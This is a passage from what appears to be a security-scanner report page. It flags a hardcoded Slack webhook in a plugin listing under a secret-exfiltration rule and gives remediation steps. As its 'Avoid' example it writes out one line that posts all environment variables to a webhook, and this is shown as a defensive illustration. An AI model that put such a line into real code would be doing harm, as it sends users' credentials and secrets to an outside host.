176env:[['SLACK_WEBHOOK_URL','https://hooks.slack.com/services/T.../B.../...']] },
177 
178{ id:'teams', name:'Microsoft Teams', crumb:'Alerts & automation',
Occurrences
1 occurrence · at L176
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha2561270af27075d0490rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.